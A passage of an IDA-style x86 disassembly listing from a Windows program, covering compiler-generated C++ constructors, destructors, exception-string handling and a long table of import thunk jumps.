		mov	[ebp+var_4], ecx
		mov	ecx, [ebp+var_4]
		call	sub_435470
		mov	eax, [ebp+arg_0]
		and	eax, 1
		test	eax, eax
		jz	short loc_4354F5
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_41D860
		add	esp, 4


loc_4354F5:				; CODE XREF: sub_4354D0+17j
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_4354D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_435500	proc near		; CODE XREF: sub_435350+3Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_4]
		call	sub_435530
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx], offset	off_438FC8
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_435500	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_435530	proc near		; CODE XREF: sub_435500+Ep
					; sub_4356B0+Ep

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_435530
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		mov	[ebp+var_14], ecx
		mov	[ebp+var_10], offset dword_437ECC
		lea	eax, [ebp+var_10]
		push	eax
		mov	ecx, [ebp+var_14]
		call	sub_435C70
		mov	[ebp+var_4], 0
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	ecx, [ebp+var_14]
		add	ecx, 0Ch
		call	sub_40CD90
		mov	edx, [ebp+var_14]
		mov	dword ptr [edx], offset	off_438FB8
		mov	[ebp+var_4], 0FFFFFFFFh
		mov	eax, [ebp+var_14]
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn	4
sub_435530	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4355A0	proc near		; CODE XREF: sub_4355F0+Ap
					; DATA XREF: .nsp0:004392F4o

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax], offset	off_438FC8
		mov	ecx, [ebp+var_4]
		call	sub_435470
		mov	esp, ebp
		pop	ebp
		retn
sub_4355A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4355C0	proc near		; DATA XREF: .nsp0:00438FD0o

var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	[ebp+var_20], ecx
		mov	eax, [ebp+var_20]
		push	eax
		lea	ecx, [ebp+var_1C]
		call	sub_435620
		push	offset dword_4392F0
		lea	ecx, [ebp+var_1C]
		push	ecx
		call	sub_435F60
		mov	esp, ebp
		pop	ebp
		retn
sub_4355C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4355F0	proc near		; DATA XREF: .nsp0:off_438FC8o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	ecx, [ebp+var_4]
		call	sub_4355A0
		mov	eax, [ebp+arg_0]
		and	eax, 1
		test	eax, eax
		jz	short loc_435615
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_41D860
		add	esp, 4


loc_435615:				; CODE XREF: sub_4355F0+17j
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_4355F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_435620	proc near		; CODE XREF: sub_4355C0+10p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_4]
		call	sub_4353B0
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx], offset	off_438FC8
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_435620	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_435650	proc near		; CODE XREF: sub_40CF0B+17p
					; sub_40D18A+Ep

var_3C		= byte ptr -3Ch
var_38		= byte ptr -38h
var_28		= byte ptr -28h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_435650
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		lea	eax, [ebp+var_3C]
		push	eax
		push	offset aInvalidStringP ; "invalid string position"
		lea	ecx, [ebp+var_38]
		call	sub_40CDBA
		mov	[ebp+var_4], 0
		lea	ecx, [ebp+var_38]
		push	ecx
		lea	ecx, [ebp+var_28]
		call	sub_4356B0
		push	offset dword_4393F0
		lea	edx, [ebp+var_28]
		push	edx
		call	sub_435F60
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn
sub_435650	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4356B0	proc near		; CODE XREF: sub_435650+3Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_4]
		call	sub_435530
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx], offset	off_438FF0
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_4356B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4356E0	proc near		; CODE XREF: sub_435730+Ap
					; DATA XREF: .nsp0:004393F4o

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax], offset	off_438FF0
		mov	ecx, [ebp+var_4]
		call	sub_435470
		mov	esp, ebp
		pop	ebp
		retn
sub_4356E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_435700	proc near		; DATA XREF: .nsp0:00438FF8o

var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	[ebp+var_20], ecx
		mov	eax, [ebp+var_20]
		push	eax
		lea	ecx, [ebp+var_1C]
		call	sub_435760
		push	offset dword_4393F0
		lea	ecx, [ebp+var_1C]
		push	ecx
		call	sub_435F60
		mov	esp, ebp
		pop	ebp
		retn
sub_435700	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_435730	proc near		; DATA XREF: .nsp0:off_438FF0o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	ecx, [ebp+var_4]
		call	sub_4356E0
		mov	eax, [ebp+arg_0]
		and	eax, 1
		test	eax, eax
		jz	short loc_435755
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_41D860
		add	esp, 4


loc_435755:				; CODE XREF: sub_435730+17j
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_435730	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_435760	proc near		; CODE XREF: sub_435700+10p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_4]
		call	sub_4353B0
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx], offset	off_438FF0
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_435760	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_435790	proc near		; DATA XREF: .nsp0:0043A014o
		push	ebp
		mov	ebp, esp
		call	sub_40D359
		call	sub_4357B0
		call	sub_4357D0
		call	sub_435800
		pop	ebp
		retn
sub_435790	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4357B0	proc near		; CODE XREF: sub_435790+8p
		push	ebp
		mov	ebp, esp
		push	offset nullsub_1
		call	sub_41D9F0
		add	esp, 4
		pop	ebp
		retn
sub_4357B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4357D0	proc near		; CODE XREF: sub_435790+Dp
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		mov	al, byte_4F0FBC
		and	eax, 1
		test	eax, eax
		jnz	short loc_4357F0
		mov	cl, byte_4F0FBC
		or	cl, 1
		mov	byte_4F0FBC, cl


loc_4357F0:				; CODE XREF: sub_4357D0+Fj
		pop	ebp
		retn
sub_4357D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_435800	proc near		; CODE XREF: sub_435790+12p
		push	ebp
		mov	ebp, esp
		push	offset sub_435820
		call	sub_41D9F0
		add	esp, 4
		pop	ebp
		retn
sub_435800	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_435820	proc near		; DATA XREF: sub_435800+3o
		push	ebp
		mov	ebp, esp
		pop	ebp
		retn
sub_435820	endp

; ---------------------------------------------------------------------------
		align 2

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_435826	proc near		; CODE XREF: sub_40D46C+6Fp
		jmp	dword_4F14C4
sub_435826	endp

; ---------------------------------------------------------------------------
		jmp	dword_4F151C

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_435832	proc near		; CODE XREF: sub_40C736+5Ep
					; sub_40E4A5+14Ap ...
		jmp	dword_4F1518
sub_435832	endp

; ---------------------------------------------------------------------------
		jmp	dword_4F1514
; ---------------------------------------------------------------------------
		jmp	dword_4F1510
; ---------------------------------------------------------------------------
		jmp	dword_4F150C
; ---------------------------------------------------------------------------
		jmp	dword_4F1508
; ---------------------------------------------------------------------------
		jmp	dword_4F1504
; ---------------------------------------------------------------------------
		jmp	dword_4F1500
; ---------------------------------------------------------------------------
		jmp	dword_4F14FC
; ---------------------------------------------------------------------------
		jmp	dword_4F14F8
; ---------------------------------------------------------------------------
		jmp	dword_4F1520
; ---------------------------------------------------------------------------
		jmp	dword_4F14F0
; ---------------------------------------------------------------------------
		jmp	dword_4F14EC
; ---------------------------------------------------------------------------
		jmp	dword_4F14E8
; ---------------------------------------------------------------------------
		jmp	dword_4F14E4
; ---------------------------------------------------------------------------
		jmp	dword_4F14E0
; ---------------------------------------------------------------------------
		jmp	dword_4F14DC
; ---------------------------------------------------------------------------
		jmp	dword_4F14D8
; ---------------------------------------------------------------------------
		jmp	dword_4F14D4
; ---------------------------------------------------------------------------
		jmp	dword_4F14D0
; ---------------------------------------------------------------------------
		jmp	dword_4F14CC
; ---------------------------------------------------------------------------
		jmp	dword_4F14F4
; ---------------------------------------------------------------------------
		jmp	dword_4F1320
; ---------------------------------------------------------------------------
		jmp	dword_4F1324
; ---------------------------------------------------------------------------
		jmp	dword_4F1328
; ---------------------------------------------------------------------------
		jmp	dword_4F132C
; ---------------------------------------------------------------------------
		jmp	dword_4F1330
; ---------------------------------------------------------------------------
		jmp	dword_4F1334
; ---------------------------------------------------------------------------
		jmp	dword_4F1338
; ---------------------------------------------------------------------------
		jmp	dword_4F133C
; ---------------------------------------------------------------------------
		jmp	dword_4F1340
; ---------------------------------------------------------------------------
		jmp	dword_4F1344
; ---------------------------------------------------------------------------
		jmp	dword_4F1348
; ---------------------------------------------------------------------------
		jmp	dword_4F134C
; ---------------------------------------------------------------------------
		jmp	dword_4F1350
; ---------------------------------------------------------------------------
		jmp	dword_4F1354
; ---------------------------------------------------------------------------
		jmp	dword_4F1358
; ---------------------------------------------------------------------------
		jmp	dword_4F135C
; ---------------------------------------------------------------------------
		jmp	dword_4F1360
; ---------------------------------------------------------------------------
		jmp	dword_4F1364
; ---------------------------------------------------------------------------
		jmp	dword_4F1368
; ---------------------------------------------------------------------------
		jmp	dword_4F136C
; ---------------------------------------------------------------------------
		jmp	dword_4F1370
; ---------------------------------------------------------------------------
		jmp	dword_4F1374
; ---------------------------------------------------------------------------
		jmp	dword_4F1378
; ---------------------------------------------------------------------------
		jmp	dword_4F137C
; ---------------------------------------------------------------------------
		jmp	dword_4F1380
; ---------------------------------------------------------------------------
		jmp	dword_4F1384
; ---------------------------------------------------------------------------
		jmp	dword_4F1388
; ---------------------------------------------------------------------------
		jmp	dword_4F138C
; ---------------------------------------------------------------------------
		jmp	dword_4F1390
; ---------------------------------------------------------------------------
		jmp	dword_4F1394
; ---------------------------------------------------------------------------
		jmp	dword_4F1398
; ---------------------------------------------------------------------------
		jmp	dword_4F139C
; ---------------------------------------------------------------------------
		jmp	dword_4F13A0
; ---------------------------------------------------------------------------
		jmp	dword_4F13A4
; ---------------------------------------------------------------------------
		jmp	dword_4F13A8
; ---------------------------------------------------------------------------
		jmp	dword_4F13AC
; ---------------------------------------------------------------------------
		jmp	dword_4F13B0
; ---------------------------------------------------------------------------
		jmp	dword_4F13B4
; ---------------------------------------------------------------------------
		jmp	dword_4F13B8
; ---------------------------------------------------------------------------
		jmp	dword_4F13BC
; ---------------------------------------------------------------------------
		jmp	dword_4F13C0
; ---------------------------------------------------------------------------
		jmp	dword_4F13C4
; ---------------------------------------------------------------------------
		jmp	dword_4F13C8
; ---------------------------------------------------------------------------
		jmp	dword_4F13CC
; ---------------------------------------------------------------------------
		jmp	dword_4F13D0
; ---------------------------------------------------------------------------
		jmp	dword_4F13D4
; ---------------------------------------------------------------------------
		jmp	dword_4F13D8
; ---------------------------------------------------------------------------
		jmp	dword_4F13DC
; ---------------------------------------------------------------------------
		jmp	dword_4F13E0
; ---------------------------------------------------------------------------
		jmp	dword_4F13E4
; ---------------------------------------------------------------------------
		jmp	dword_4F13E8
; ---------------------------------------------------------------------------
		jmp	dword_4F13EC
; ---------------------------------------------------------------------------
		jmp	dword_4F12BC
; ---------------------------------------------------------------------------
		jmp	dword_4F13F0
; ---------------------------------------------------------------------------
		jmp	dword_4F13F4
; ---------------------------------------------------------------------------
		jmp	dword_4F13F8
; ---------------------------------------------------------------------------
		jmp	dword_4F13FC
; ---------------------------------------------------------------------------
		jmp	dword_4F1400
; ---------------------------------------------------------------------------
		jmp	dword_4F1404
; ---------------------------------------------------------------------------
		jmp	dword_4F1408
; ---------------------------------------------------------------------------
		jmp	dword_4F140C
; ---------------------------------------------------------------------------
		jmp	dword_4F1410
; ---------------------------------------------------------------------------
		jmp	dword_4F1414
; ---------------------------------------------------------------------------
		jmp	dword_4F1418
; ---------------------------------------------------------------------------
		jmp	dword_4F141C
; ---------------------------------------------------------------------------
		jmp	dword_4F1420
; ---------------------------------------------------------------------------
		jmp	dword_4F1424
; ---------------------------------------------------------------------------
		jmp	dword_4F1428
; ---------------------------------------------------------------------------
		jmp	dword_4F142C
; ---------------------------------------------------------------------------
		jmp	dword_4F1430
; ---------------------------------------------------------------------------
		jmp	dword_4F1434
; ---------------------------------------------------------------------------
		jmp	dword_4F1438
; ---------------------------------------------------------------------------
		jmp	dword_4F143C
; ---------------------------------------------------------------------------
		jmp	dword_4F1440

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_435A6C	proc near		; CODE XREF: sub_41D0A0+27p
					; sub_41D410+13p
		jmp	dword_4F1444
sub_435A6C	endp

; ---------------------------------------------------------------------------
		jmp	dword_4F1448
; ---------------------------------------------------------------------------
		jmp	dword_4F144C
; ---------------------------------------------------------------------------
		jmp	dword_4F1450
; ---------------------------------------------------------------------------
		jmp	dword_4F1454
; ---------------------------------------------------------------------------
		jmp	dword_4F1458
; ---------------------------------------------------------------------------
		jmp	dword_4F145C
; ---------------------------------------------------------------------------
		jmp	dword_4F1460
; ---------------------------------------------------------------------------
		jmp	dword_4F1464
; ---------------------------------------------------------------------------
		jmp	dword_4F1468
; ---------------------------------------------------------------------------
		jmp	dword_4F146C
; ---------------------------------------------------------------------------
		jmp	dword_4F1470
; ---------------------------------------------------------------------------
		jmp	dword_4F1474
; ---------------------------------------------------------------------------
		jmp	dword_4F1478
; ---------------------------------------------------------------------------
		jmp	dword_4F147C
; ---------------------------------------------------------------------------
		jmp	dword_4F1480
; ---------------------------------------------------------------------------
		jmp	dword_4F1484
; ---------------------------------------------------------------------------
		jmp	dword_4F1488
; ---------------------------------------------------------------------------
		jmp	dword_4F148C
; ---------------------------------------------------------------------------
		jmp	dword_4F1490
; ---------------------------------------------------------------------------
		jmp	dword_4F1494
; ---------------------------------------------------------------------------
		jmp	dword_4F1498
; ---------------------------------------------------------------------------
		jmp	dword_4F149C
; ---------------------------------------------------------------------------
		jmp	dword_4F14A0
; ---------------------------------------------------------------------------
		jmp	dword_4F14A4
; ---------------------------------------------------------------------------
		jmp	dword_4F14A8
; ---------------------------------------------------------------------------
		jmp	dword_4F14AC
; ---------------------------------------------------------------------------
		jmp	dword_4F14B0
; ---------------------------------------------------------------------------
		jmp	dword_4F14B4
; ---------------------------------------------------------------------------
		jmp	dword_4F14B8
; ---------------------------------------------------------------------------
		jmp	dword_4F14BC
; ---------------------------------------------------------------------------
		jmp	dword_4F131C
; ---------------------------------------------------------------------------
		jmp	dword_4F1318
; ---------------------------------------------------------------------------
		jmp	dword_4F1314
; ---------------------------------------------------------------------------
		jmp	dword_4F1310
; ---------------------------------------------------------------------------
		jmp	dword_4F130C
; ---------------------------------------------------------------------------
		jmp	dword_4F1308
; ---------------------------------------------------------------------------
		jmp	dword_4F1304
; ---------------------------------------------------------------------------
		jmp	dword_4F1300
; ---------------------------------------------------------------------------
		jmp	dword_4F12FC
; ---------------------------------------------------------------------------
		jmp	dword_4F12F8
; ---------------------------------------------------------------------------
		jmp	dword_4F12F4
; ---------------------------------------------------------------------------
		jmp	dword_4F12F0
; ---------------------------------------------------------------------------
		jmp	dword_4F12EC
; ---------------------------------------------------------------------------
		jmp	dword_4F12E8
; ---------------------------------------------------------------------------
		jmp	dword_4F12E4
; ---------------------------------------------------------------------------
		jmp	dword_4F12E0
; ---------------------------------------------------------------------------
		jmp	dword_4F12DC
; ---------------------------------------------------------------------------
		jmp	dword_4F12D8
; ---------------------------------------------------------------------------
		jmp	dword_4F12D4
; ---------------------------------------------------------------------------
		jmp	dword_4F12D0
; ---------------------------------------------------------------------------
		jmp	dword_4F12CC
; ---------------------------------------------------------------------------
		jmp	dword_4F12C8
; ---------------------------------------------------------------------------
		jmp	dword_4F12C4
; ---------------------------------------------------------------------------
		jmp	dword_4F12C0
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_435BC0	proc near		; CODE XREF: sub_415C6E+21p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0
		jnz	short loc_435BCE
		xor	eax, eax
		jmp	short loc_435C03
; ---------------------------------------------------------------------------


loc_435BCE:				; CODE XREF: sub_435BC0+8j
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_418D00
		add	esp, 4
		add	eax, 1
		push	eax
		call	sub_418ED0
		add	esp, 4
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_435C01
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_41C300
		add	esp, 8
		jmp	short loc_435C03
; ---------------------------------------------------------------------------


loc_435C01:				; CODE XREF: sub_435BC0+2Dj
		xor	eax, eax


loc_435C03:				; CODE XREF: sub_435BC0+Cj
					; sub_435BC0+3Fj
		mov	esp, ebp
		pop	ebp
		retn
sub_435BC0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp-4], ecx
		mov	eax, [ebp-4]
		mov	dword ptr [eax], offset	off_439000
		mov	ecx, [ebp-4]
		mov	dword ptr [ecx+4], 0
		mov	edx, [ebp-4]
		mov	dword ptr [edx+8], 0
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_435C40	proc near		; DATA XREF: .nsp0:off_439000o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	ecx, [ebp+var_4]
		call	sub_435DA0
		mov	eax, [ebp+arg_0]
		and	eax, 1
		test	eax, eax
		jz	short loc_435C65
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_41D860
		add	esp, 4


loc_435C65:				; CODE XREF: sub_435C40+17j
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_435C40	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_435C70	proc near		; CODE XREF: sub_435530+2Cp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+var_8]
		mov	dword ptr [eax], offset	off_439000
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		push	edx
		call	sub_418D00
		add	esp, 4
		add	eax, 1
		push	eax
		call	sub_41D910
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		mov	[eax+4], ecx
		mov	edx, [ebp+var_8]
		cmp	dword ptr [edx+4], 0
		jz	short loc_435CC6
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		push	ecx
		mov	edx, [ebp+var_8]
		mov	eax, [edx+4]
		push	eax
		call	sub_41C300
		add	esp, 8


loc_435CC6:				; CODE XREF: sub_435C70+3Fj
		mov	ecx, [ebp+var_8]
		mov	dword ptr [ecx+8], 1
		mov	eax, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_435C70	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_435CE0	proc near		; CODE XREF: sub_4353B0+23p
					; .nsp0:00435D8Ep

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+var_8]
		mov	dword ptr [eax], offset	off_439000
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+8]
		mov	[ecx+8], eax
		mov	ecx, [ebp+var_8]
		cmp	dword ptr [ecx+8], 0
		jz	short loc_435D4F
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+4]
		push	eax
		call	sub_418D00
		add	esp, 4
		add	eax, 1
		push	eax
		call	sub_41D910
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+var_4]
		mov	[ecx+4], edx
		mov	eax, [ebp+var_8]
		cmp	dword ptr [eax+4], 0
		jz	short loc_435D4D
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		push	edx
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+4]
		push	ecx
		call	sub_41C300
		add	esp, 8


loc_435D4D:				; CODE XREF: sub_435CE0+55j
		jmp	short loc_435D5B
; ---------------------------------------------------------------------------


loc_435D4F:				; CODE XREF: sub_435CE0+25j
		mov	edx, [ebp+var_8]
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		mov	[edx+4], ecx


loc_435D5B:				; CODE XREF: sub_435CE0:loc_435D4Dj
		mov	eax, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_435CE0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp-4], ecx
		mov	eax, [ebp-4]
		cmp	eax, [ebp+8]
		jz	short loc_435D93
		mov	ecx, [ebp-4]
		call	sub_435DA0
		mov	ecx, [ebp+8]
		push	ecx
		mov	ecx, [ebp-4]
		call	sub_435CE0


loc_435D93:				; CODE XREF: .nsp0:00435D7Dj
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_435DA0	proc near		; CODE XREF: sub_435470+41p
					; sub_435C40+Ap ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+var_8]
		mov	dword ptr [eax], offset	off_439000
		mov	ecx, [ebp+var_8]
		cmp	dword ptr [ecx+8], 0
		jz	short loc_435DD0
		mov	edx, [ebp+var_8]
		mov	eax, [edx+4]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_41D860
		add	esp, 4


loc_435DD0:				; CODE XREF: sub_435DA0+19j
		mov	esp, ebp
		pop	ebp
		retn
sub_435DA0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_435DE0	proc near		; DATA XREF: .nsp0:00439004o

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+4], 0
		jz	short loc_435DF8
		mov	ecx, [ebp+var_4]
		mov	eax, [ecx+4]
		jmp	short loc_435DFD
; ---------------------------------------------------------------------------


loc_435DF8:				; CODE XREF: sub_435DE0+Ej
		mov	eax, offset aUnknownExcepti ; "Unknown exception"


loc_435DFD:				; CODE XREF: sub_435DE0+16j
		mov	esp, ebp
		pop	ebp
		retn
sub_435DE0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_435E10	proc near		; CODE XREF: sub_435E50+Ap

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax], offset	off_439020
		push	1Bh
		call	sub_41FB40
		add	esp, 4
		mov	ecx, [ebp+var_4]
		cmp	dword ptr [ecx+4], 0
		jz	short loc_435E42
		mov	edx, [ebp+var_4]
		mov	eax, [edx+4]
		push	eax
		call	sub_41FFC0
		add	esp, 4


loc_435E42:				; CODE XREF: sub_435E10+21j
		push	1Bh
		call	sub_41FBE0
		add	esp, 4
		mov	esp, ebp
		pop	ebp
		retn
sub_435E10	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_435E50	proc near		; DATA XREF: .nsp0:off_439020o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	ecx, [ebp+var_4]
		call	sub_435E10
		mov	eax, [ebp+arg_0]
		and	eax, 1
		test	eax, eax
		jz	short loc_435E75
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_41D860
		add	esp, 4


loc_435E75:				; CODE XREF: sub_435E50+17j
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_435E50	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp-4], ecx
		mov	eax, [ebp-4]
		add	eax, 9
		push	eax
		mov	ecx, [ebp+8]
		add	ecx, 9
		push	ecx
		call	sub_41C4C0
		add	esp, 8
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp-4], ecx
		mov	eax, [ebp-4]
		add	eax, 9
		push	eax
		mov	ecx, [ebp+8]
		add	ecx, 9
		push	ecx
		call	sub_41C4C0
		add	esp, 8
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp-4], ecx
		mov	eax, [ebp-4]
		add	eax, 9
		push	eax
		mov	ecx, [ebp+8]
		add	ecx, 9
		push	ecx
		call	sub_41C4C0
		add	esp, 8
		xor	edx, edx
		test	eax, eax
		setnle	dl
		mov	eax, edx
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
